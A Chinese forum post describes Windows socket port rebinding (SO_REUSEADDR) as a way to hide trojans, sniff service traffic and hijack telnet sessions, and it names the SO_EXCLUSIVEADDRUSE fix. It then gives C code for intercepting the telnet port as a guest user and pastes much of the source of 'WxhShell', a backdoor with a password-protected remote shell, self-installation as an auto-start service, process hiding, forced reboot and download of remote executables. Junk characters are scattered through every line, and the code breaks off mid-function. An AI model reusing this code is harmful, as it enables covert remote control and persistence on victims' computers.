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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )z|_*||WU^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W>UjUq);  
;%lJD"yF  
  saddr.sin_family = AF_INET; ^O?l9(=/u  
il<gjlyR]L  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); I%C]>ZZh  
$4& 8U~Zs  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~p0 e=u  
+X{cN5Y K  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 R#r h  
4h[2C6 \+`  
  这意味着什么?意味着可以进行如下的攻击: 6B4hSqjh  
pyGFDB5_P  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;g!xQvcR  
~r7DEy|+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $v2S;UB v*  
pU[a[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 z0FR33-  
\r)_-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  mJU>f-l  
|rG8E;>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ZC>`ca  
m(Pz7U.Q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _&6juBb  
d{(s-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $u(M 4(}  
x`b~ZSNJ%  
  #include ]a &x'  
  #include %`8KG(F^  
  #include il 8A&`%  
  #include    Zi15wE  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Rq~ >h99M  
  int main() VhJyWH%(  
  { 23.y3t_?  
  WORD wVersionRequested; 1`7]C+Pv  
  DWORD ret; !IQfeo T  
  WSADATA wsaData; y'i:%n}I  
  BOOL val; !]UU;8h~  
  SOCKADDR_IN saddr; ^$T!@ +:  
  SOCKADDR_IN scaddr; &eLQ;<qO*|  
  int err; ~50y-  
  SOCKET s; QZz{74]n  
  SOCKET sc; PAO[Og,-  
  int caddsize; iLI.e rm  
  HANDLE mt; rA>A=,  
  DWORD tid;   xOX*=Wv  
  wVersionRequested = MAKEWORD( 2, 2 ); 5r2ctde)Y  
  err = WSAStartup( wVersionRequested, &wsaData ); Z n"TG/:  
  if ( err != 0 ) { jQw`*Y/,  
  printf("error!WSAStartup failed!\n"); %^)JaEUC  
  return -1; l%Fse&4\  
  } ft. }$8vIT  
  saddr.sin_family = AF_INET; vb80J<4  
   : p*ojl|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !D|pbzQc8  
Wtzj;GJj  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /^es0$Co.  
  saddr.sin_port = htons(23); %o _0M^3W  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5;i!PuL  
  { u3v6$CD?  
  printf("error!socket failed!\n"); !xx> lX5  
  return -1; AcfkY m~  
  } Jr*S2 z<*  
  val = TRUE; GwIfGixqH  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \w@_(4")Qb  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) r>:7${pF  
  { q4#f *]  
  printf("error!setsockopt failed!\n"); V?L$ ys  
  return -1; BD-c 0-+m  
  } .]sIoB-54  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; O%Gsk'mo  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 P.H/H04+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *Yk8Mj^_h  
%(7wZ0Z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =='{[[J  
  { i[BR(D&l_p  
  ret=GetLastError(); 5}l#zj  
  printf("error!bind failed!\n"); YO!7D5rV#  
  return -1; d ;7pri)B  
  } ek.WuOs  
  listen(s,2); {ALBmSapK"  
  while(1) qer'V  
  { +]~w ?^h  
  caddsize = sizeof(scaddr); +` Y ?-  
  //接受连接请求 +K?N:w  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); zl0:U2x7  
  if(sc!=INVALID_SOCKET) _=^hnv  
  { >^\>-U|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); He_(JXTP  
  if(mt==NULL) ?e|:6a+[f  
  { 'LLQ[JJ=O  
  printf("Thread Creat Failed!\n"); R&|)y:bg|  
  break; MHT,rqG  
  } Kac j  
  } )PoI~km  
  CloseHandle(mt); SUi1*S  
  } /B?SaKh  
  closesocket(s); 0<]!G|;|  
  WSACleanup(); t~W4o8<w  
  return 0; mW(_FS2%,  
  }   f]6` GsE  
  DWORD WINAPI ClientThread(LPVOID lpParam) a4qpnr]0  
  { 7'/2:"  
  SOCKET ss = (SOCKET)lpParam; [ *a>{sO[  
  SOCKET sc; 4Z p5o`*g2  
  unsigned char buf[4096]; wj5s5dH  
  SOCKADDR_IN saddr; I%b:Z  
  long num; "91At b;hJ  
  DWORD val; DW%K'+@M  
  DWORD ret; }(%}"%$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 gx9sBkoq5D  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   y!c7y]9__2  
  saddr.sin_family = AF_INET; a1sLRqo8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); j%y+W{Q[  
  saddr.sin_port = htons(23); d*:qFq_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #_L&  
  { ]B'  
  printf("error!socket failed!\n"); E6-(q!"A  
  return -1; $ 5-2 cL  
  } $>s@T(  
  val = 100; 2u H\8A+'f  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8jGoU 9  
  { )w?$~q  
  ret = GetLastError(); |oi49:NXn  
  return -1; x[@3;_'K  
  } [gr[0aGBc  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !4cdP2^P  
  { oc%le2   
  ret = GetLastError(); b%t9a\0V  
  return -1; aYCzb7  
  } e[&3K<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #UeU:RJ1  
  { lc(iy:z@  
  printf("error!socket connect failed!\n"); +~.Jw#HqS  
  closesocket(sc); dY` J,s  
  closesocket(ss); |Qm%G\oB?  
  return -1; E1w XG  
  } :>ST)Y@]w  
  while(1) v86`\K*0Y  
  { :@A;!'zpL  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3o/ a8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Xn'>k[}<k  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 (Sp~+#XnF  
  num = recv(ss,buf,4096,0); :2gO) 'cD  
  if(num>0) Yaepy3F  
  send(sc,buf,num,0); emIbGkH  
  else if(num==0) HW,55#yG  
  break; m 4LM10  
  num = recv(sc,buf,4096,0); +N&(lj  
  if(num>0) @CUDD{1o  
  send(ss,buf,num,0); EPnB%'l\c  
  else if(num==0) d/QM   
  break; 640V&<+v  
  } (W/UR9x)|d  
  closesocket(ss); ^P`'qfZ  
  closesocket(sc); ]>T/Gl1  
  return 0 ; y^BM*CI  
  } Vo8"/]_h  
xF+x I6  
zz*[JIe  
==========================================================  Vp4]  
D$ z!wV  
下边附上一个代码,,WXhSHELL $>m<+nai'  
4;{CR. D  
========================================================== sxa (  
"S#hzrEdYI  
#include "stdafx.h" {u3u%^E;R  
A*;h}\n  
#include <stdio.h> DO{4n1-U  
#include <string.h> P .(X]+  
#include <windows.h> X[6 z  
#include <winsock2.h> ?! Gt. fb  
#include <winsvc.h> U++UG5c  
#include <urlmon.h> /Vc!N)  
&t4(86Bmq  
#pragma comment (lib, "Ws2_32.lib") F4Z0g*^x  
#pragma comment (lib, "urlmon.lib") T+hW9pa)  
5o #8DIal  
#define MAX_USER   100 // 最大客户端连接数 d a9 *>+[  
#define BUF_SOCK   200 // sock buffer ,_O[; L  
#define KEY_BUFF   255 // 输入 buffer R5zV= N  
|05LHwb>  
#define REBOOT     0   // 重启 S0yT%V  
#define SHUTDOWN   1   // 关机 &Y$rVBgQ  
XwMC/]lK<  
#define DEF_PORT   5000 // 监听端口 s<]l[Y>  
_Qas+8NW  
#define REG_LEN     16   // 注册表键长度 ,55`s#;  
#define SVC_LEN     80   // NT服务名长度 s#3{c@^3  
o 8U2vMH  
// 从dll定义API K.~U%v}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]=Q'1%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Vy $\.2=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); I'wAgf6W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0:EiCKb)ol  
&-A 7%"  
// wxhshell配置信息 Z(P#]jI]  
struct WSCFG { P@#6.Bb#V  
  int ws_port;         // 监听端口 wwz<c5  
  char ws_passstr[REG_LEN]; // 口令 q[lqEc  
  int ws_autoins;       // 安装标记, 1=yes 0=no EC0auB7G  
  char ws_regname[REG_LEN]; // 注册表键名 H Vy^^$  
  char ws_svcname[REG_LEN]; // 服务名 >Ko )Z&j9W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D~}4N1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  CgWj9 [  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FKP^f\!M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {U9jA_XX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ` {p5SYj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .IgQn|N  
frt?*|:  
}; TH-^tw  
Zl)|x%z  
// default Wxhshell configuration yY+2;`CH  
struct WSCFG wscfg={DEF_PORT, nJnan,`W  
    "xuhuanlingzhe", b8Qm4b?:4  
    1, c/u;v69r  
    "Wxhshell", +-"#GL~cC  
    "Wxhshell", @N$r'@  
            "WxhShell Service", )Jc>l;G(M  
    "Wrsky Windows CmdShell Service",  T-\,r  
    "Please Input Your Password: ", IO4 IaeM  
  1, `#V"@Go  
  "http://www.wrsky.com/wxhshell.exe", DCm;dh  
  "Wxhshell.exe" +2?[=g4;}  
    }; 9fiZ5\  
{:Q2Itsy  
// 消息定义模块 qz:OnQv!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; UpITx]y?"m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Dj|S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;WhB2/5v  
char *msg_ws_ext="\n\rExit."; 8P 8"dN[  
char *msg_ws_end="\n\rQuit."; u0,~pJvX  
char *msg_ws_boot="\n\rReboot..."; VlEkT9^:  
char *msg_ws_poff="\n\rShutdown..."; YW5E |z  
char *msg_ws_down="\n\rSave to "; Wwz>tE  
1ysA~2  
char *msg_ws_err="\n\rErr!"; g^idS:GtX5  
char *msg_ws_ok="\n\rOK!"; #O~Y[''C5X  
e#seqx  
char ExeFile[MAX_PATH]; oTL "]3`'  
int nUser = 0; KQqlM  
HANDLE handles[MAX_USER]; ?z6C8T~+  
int OsIsNt; C" sa.#}  
Vf@/}=X *  
SERVICE_STATUS       serviceStatus; 0C7"*H0 R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; eZv0"FK X  
] !H<vR$8  
// 函数声明 aH6pys!O  
int Install(void); ldxUq,p  
int Uninstall(void); 1vThb  
int DownloadFile(char *sURL, SOCKET wsh); xnLfR6B  
int Boot(int flag); #\jPBLc  
void HideProc(void); T:-Uy&pBEN  
int GetOsVer(void); )*uI/E  
int Wxhshell(SOCKET wsl); C{Fo^-3  
void TalkWithClient(void *cs); 5 xiYCOy  
int CmdShell(SOCKET sock); pp:+SoyN  
int StartFromService(void); q<1@ut  
int StartWxhshell(LPSTR lpCmdLine); "[%NXan  
#8`G&S*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z/TRqD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QEVjXJOt0  
njIvVs`q  
// 数据结构和表定义 ovHbs^H%  
SERVICE_TABLE_ENTRY DispatchTable[] = Y,a.9AWw)  
{ ^,X+ n5q;m  
{wscfg.ws_svcname, NTServiceMain}, Y5;:jYk#<_  
{NULL, NULL} LP87X-qkjW  
}; [AU1JO`\"  
< ;g0?M\  
// 自我安装 DJbj@ 2W[  
int Install(void) h$k(|/+  
{ g5cR.]oz  
  char svExeFile[MAX_PATH]; c" l~=1Dr  
  HKEY key; !=-l760  
  strcpy(svExeFile,ExeFile); 7fVVU+y  
0+L5k!1D  
// 如果是win9x系统,修改注册表设为自启动 Y 8P  
if(!OsIsNt) { V +hV&|=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { []Z6<rC|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .-r 1.'.A  
  RegCloseKey(key); $UH_)Q2#J^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _WkK%RYV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :S%|^Q AN  
  RegCloseKey(key); mr;WxxO5  
  return 0; 0}ZuF.  
    } g ` Wr3  
  } L4dbrPE*0  
} M_PL{  
else { :c6%;2  
_[<I&^%  
// 如果是NT以上系统,安装为系统服务 ;[|x5o /<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xv)7-jlx  
if (schSCManager!=0) 5Ph"*Rz%  
{ L'c4 i[~s  
  SC_HANDLE schService = CreateService f[z#=zv  
  ( _x:K%1_[  
  schSCManager, 4(Mt6{q  
  wscfg.ws_svcname, 'r-a:8:t^  
  wscfg.ws_svcdisp, OtC/)sX  
  SERVICE_ALL_ACCESS, ^EB}e15"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8>w/Es5  
  SERVICE_AUTO_START, O[ N{&\$  
  SERVICE_ERROR_NORMAL, "c}b qoN  
  svExeFile, h+vKai  
  NULL, Hj5b.fB  
  NULL, f[X>?{q  
  NULL, <=0_[M  
  NULL, >si<VCO  
  NULL DO0["O74  
  ); kQj8;LU  
  if (schService!=0) pE=wP/#  
  { I5-/K VWb  
  CloseServiceHandle(schService); q k !Q2W  
  CloseServiceHandle(schSCManager); y(q1~73s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7qs[t7-h?  
  strcat(svExeFile,wscfg.ws_svcname); [@/G?sAQm\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b]J_R"}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9'T(Fc  
  RegCloseKey(key); k1]?d7g$w  
  return 0; $H5Xa[  
    } haY.rH]z  
  } 8I@_X~R  
  CloseServiceHandle(schSCManager); ] qrO"X=  
} }F^c*xt[  
} n0EKNMO  
1W; +hXx  
return 1; vuD tEz  
} ;8U NM  
VNPuOU=  
// 自我卸载 thkL<  
int Uninstall(void) hmks\eb~  
{ BB~Qs  
  HKEY key; O-G4^V8  
{At1]>  
if(!OsIsNt) { z<)?8tAgq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ==c\* o  
  RegDeleteValue(key,wscfg.ws_regname); tdEu4)6  
  RegCloseKey(key); lPx4I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cz.-cuD[iD  
  RegDeleteValue(key,wscfg.ws_regname); n|{x\@VeF  
  RegCloseKey(key); PF4Cs3m/  
  return 0; ;@Ls "+g  
  } YsLEbue   
} #O G_O I  
} _ 57m] ;&  
else {  x@Q}sW92  
Z~$fTW6g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E@t^IGD r  
if (schSCManager!=0) rW!P~yk  
{ `y m^0x8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :fo%)_Jc!  
  if (schService!=0) $Nnz |y  
  { lO)p  
  if(DeleteService(schService)!=0) { pbAQf3  
  CloseServiceHandle(schService); wB "&K;t  
  CloseServiceHandle(schSCManager); K+PzTGWq^  
  return 0; F@&q4whaVD  
  } ~M+|g4W%  
  CloseServiceHandle(schService); T|r@:t[  
  } fok OjTE  
  CloseServiceHandle(schSCManager); O Y/QA  
} |fq1Mn8  
} <(;"L<?D<C  
}hEBX:-  
return 1; %0. o(U  
} iiKFV>;t/  
JYs*1<  
// 从指定url下载文件 Peh( *D{  
int DownloadFile(char *sURL, SOCKET wsh) 1u 'x|Un  
{ V_(lZDjh*  
  HRESULT hr; ^o65sM  
char seps[]= "/"; A\k@9w\Ll;  
char *token; 'd(OFE-hn  
char *file; 3]M YH b  
char myURL[MAX_PATH]; E.t9F3  
char myFILE[MAX_PATH]; _~fO8_vr  
C KBLM2 D  
strcpy(myURL,sURL); ':kBHCR7  
  token=strtok(myURL,seps); |l `X]dsfQ  
  while(token!=NULL) XLI'f$w&  
  { + .mIC:9  
    file=token; }|&M@Up  
  token=strtok(NULL,seps); iMYvCw/t6  
  } v6;XxBR6  
C<eeAWP3v  
GetCurrentDirectory(MAX_PATH,myFILE); qdjRw#LS^q  
strcat(myFILE, "\\");  >pT92VN  
strcat(myFILE, file); 3@\vU~=P:  
  send(wsh,myFILE,strlen(myFILE),0); v93+<@Z  
send(wsh,"...",3,0); -;_NdL@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m%'9zL c  
  if(hr==S_OK) I^ppEgYSY  
return 0; *.~hn5Y|?  
else ]nEN3RJ  
return 1; 0`3ey*  
p%G4Js.  
} *<OWd'LI  
f @Hp,-  
// 系统电源模块 M%1-fd  
int Boot(int flag) (3&@c!E  
{ g*AnrQ}P  
  HANDLE hToken; PQlG !  
  TOKEN_PRIVILEGES tkp; A|c  :&i  
kS[k*bN0  
  if(OsIsNt) { <~u.:x@ R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hJrxb<9@Y0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 69`9!heu  
    tkp.PrivilegeCount = 1; \V+$2 :A  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z"mpE+U*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -!I.:97 N  
if(flag==REBOOT) { 8L|rj4z<#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cSnm\f  
  return 0; N`Zm[Sv7  
} GmcxN<  
else { s@'};E^]@r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T=A7f6`  
  return 0; Cc1sZWvz  
} +pnT6kU|  
  } m32OE`s  
  else { wGBQ.Ve[  
if(flag==REBOOT) { vpMNulXb,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6<(HT#=#  
  return 0; nsaf6y&E  
} X6N^<Z$  
else { pW:U|m1dS  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ra;e#)7 X  
  return 0; +`yDWN?7  
} @j9yc  
} ~g;(` g  
'N,x=1R5  
return 1; Rl=NVo  
} /?9e{,\s  
$lU~3I)  
// win9x进程隐藏模块 7: J6 F  
void HideProc(void) jQ4Pv`  
{ X. UN=lu  
1;?b-FEq:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }u5 Mexs  
  if ( hKernel != NULL ) Zdr +{-  
  { WLDt5R  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qusgX;)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?$ Uk[  
    FreeLibrary(hKernel); VrQw;-rQ  
  } 4Q z  
E IsA2 f  
return; KG4~t=J`  
} *NFy%ktu  
:>Z0Kb}7  
// 获取操作系统版本 -XPGl  
int GetOsVer(void) ?N,a {#w  
{ @H]g_yw [:  
  OSVERSIONINFO winfo; 6$%]p1"!K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E$ F)z  
  GetVersionEx(&winfo); gG*O&gQY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e@L+z  
  return 1; Mf%/t HK  
  else yJ/m21f  
  return 0; 8p-5.GU)<e  
} ag:#82C  
X.j#??  
// 客户端句柄模块 D<5gdIw  
int Wxhshell(SOCKET wsl) 9P{5bG0o8  
{ 8{4I6;e-  
  SOCKET wsh; )WwysGkqol  
  struct sockaddr_in client; N95"dNZE  
  DWORD myID; [|ky~sRr  
u vc0"g1h  
  while(nUser<MAX_USER) 44kY[jhf  
{ L6r&Y~+/  
  int nSize=sizeof(client); !+U#^2Gz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z !wDh_  
  if(wsh==INVALID_SOCKET) return 1; H+zQz8zMC  
>J.a, !  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^q%~K{'`-  
if(handles[nUser]==0) ZH0 ~:  
  closesocket(wsh); 0}Kl47}aD  
else nITr5$f  
  nUser++; |os2@G$  
  } ~AjbF(Ad  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;9,Ll%Lk<  
rH8?GR0<  
  return 0; \<i#Jn+)  
} UrN$nhH  
j(va# f#  
// 关闭 socket dAym)  
void CloseIt(SOCKET wsh) P@k ;Lg"  
{ v*FCE 1HI  
closesocket(wsh); IW6;ZDP  
nUser--; /bt@HFL|`  
ExitThread(0); @<>](4D  
} ~qFi0<-M  
`9zP{p  
// 客户端请求句柄 <%qbU-  
void TalkWithClient(void *cs) gl2~6"dc  
{ b:Rl }"a  
_.?$~;7  
  SOCKET wsh=(SOCKET)cs; *5*d8;@>  
  char pwd[SVC_LEN]; _Xsn1  
  char cmd[KEY_BUFF]; (a&.Ad0{  
char chr[1]; &NHIX(b6  
int i,j; KXicy_@DC`  
axXA y5  
  while (nUser < MAX_USER) { DFE?H  
8$?a?7,>|  
if(wscfg.ws_passstr) { u^!-Z)W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); { F. Ihw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pg4M$;ED  
  //ZeroMemory(pwd,KEY_BUFF); TQID-I  
      i=0; Xa9G;J$  
  while(i<SVC_LEN) { WXO@oZ!  
ME0ivr*=:  
  // 设置超时 ,h8)5Mj/J  
  fd_set FdRead; |Vd)7/LN  
  struct timeval TimeOut; -qid.  
  FD_ZERO(&FdRead); Bk?MF6  
  FD_SET(wsh,&FdRead); D$#=;H ,  
  TimeOut.tv_sec=8; xV<NeU  
  TimeOut.tv_usec=0; +c\fDVv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ec"L*l"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q;>'jHh  
"b-6kM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HbZ3QWP  
  pwd=chr[0]; TO3Yz3+A  
  if(chr[0]==0xd || chr[0]==0xa) { sNS! /  
  pwd=0; pm3?  
  break; )|Y"^K%Jm  
  } BR"*-$u0;  
  i++; ;rd!kFd#bq  
    } oBAD4qK  
0o`0Td  
  // 如果是非法用户,关闭 socket '3%!Gi!g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O yj!N`&z@  
} o*5|W9  
8M(N   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ph^qQDA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *K-,<hJ#L  
W c-P= J*m  
while(1) { TxPP{6t  
u) fbR  
  ZeroMemory(cmd,KEY_BUFF); .`xcR]PQ  
64b9.5Bn  
      // 自动支持客户端 telnet标准   #l8CUg~Uj  
  j=0; Ww)qBsi8  
  while(j<KEY_BUFF) { ];zi3oS^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %DzS~5$G  
  cmd[j]=chr[0]; -$[=AqJXp;  
  if(chr[0]==0xa || chr[0]==0xd) { A+;]# 1y(D  
  cmd[j]=0; MJ &6 Z*  
  break; 63-`3R?;  
  } a/`fJY6rR  
  j++; Z*s/%4On  
    } So0YvhZ+  
YR~g&E#U^  
  // 下载文件 F;`of  
  if(strstr(cmd,"http://")) { ROQk^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %oC]Rpdu  
  if(DownloadFile(cmd,wsh)) %Ljc#AVg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); CaZEU(i  
  else 9OXrz}8C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .t7D/_  
  } ^>[DG]g  
  else { ]<W1edr  
r")=Z1y  
    switch(cmd[0]) { ^_)CQ%W?  
  j!m~ :D  
  // 帮助 jVk|(  
  case '?': { 1pO ;aG1O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &&JI$x0;  
    break; bKG:_mWe w  
  } >2>xr"  
  // 安装 /KlA7MH6  
  case 'i': { ~iF*+\  
    if(Install()) -aKL 78  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >JCSOI  
    else Ldt7?Y(V(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "Z}0A/y  
    break;  6~$ <  
    } v`x~O+  
  // 卸载 [J-r*t"!  
  case 'r': { |]r# IpVf  
    if(Uninstall()) b^hCm`2w*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3]xnKb|W  
    else j(Q$frI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '#u2q=n4*  
    break; :Q$3P+6a  
    } 3S'V>:  
  // 显示 wxhshell 所在路径 #Yj0'bgK  
  case 'p': { ~3f#cEP>d}  
    char svExeFile[MAX_PATH]; J8? 6yd-7  
    strcpy(svExeFile,"\n\r"); gY*Cl1 Iz  
      strcat(svExeFile,ExeFile); ?xUz{O0/  
        send(wsh,svExeFile,strlen(svExeFile),0); HzH_5kVW  
    break; ;M4N=G Wd4  
    } CAc nH  
  // 重启 HzbO#)Id-I  
  case 'b': { rYm<U!k  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?ADk`ts~,}  
    if(Boot(REBOOT)) 9n8;eE08  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3%|<U51  
    else { }1;Ie0l=_e  
    closesocket(wsh); '*-X 3p  
    ExitThread(0); HT1bsY 0t  
    } mpr["C"l  
    break; -! ;vX @  
    } @J" }~Y  
  // 关机 :p8JO:g9  
  case 'd': { )#*c|.  
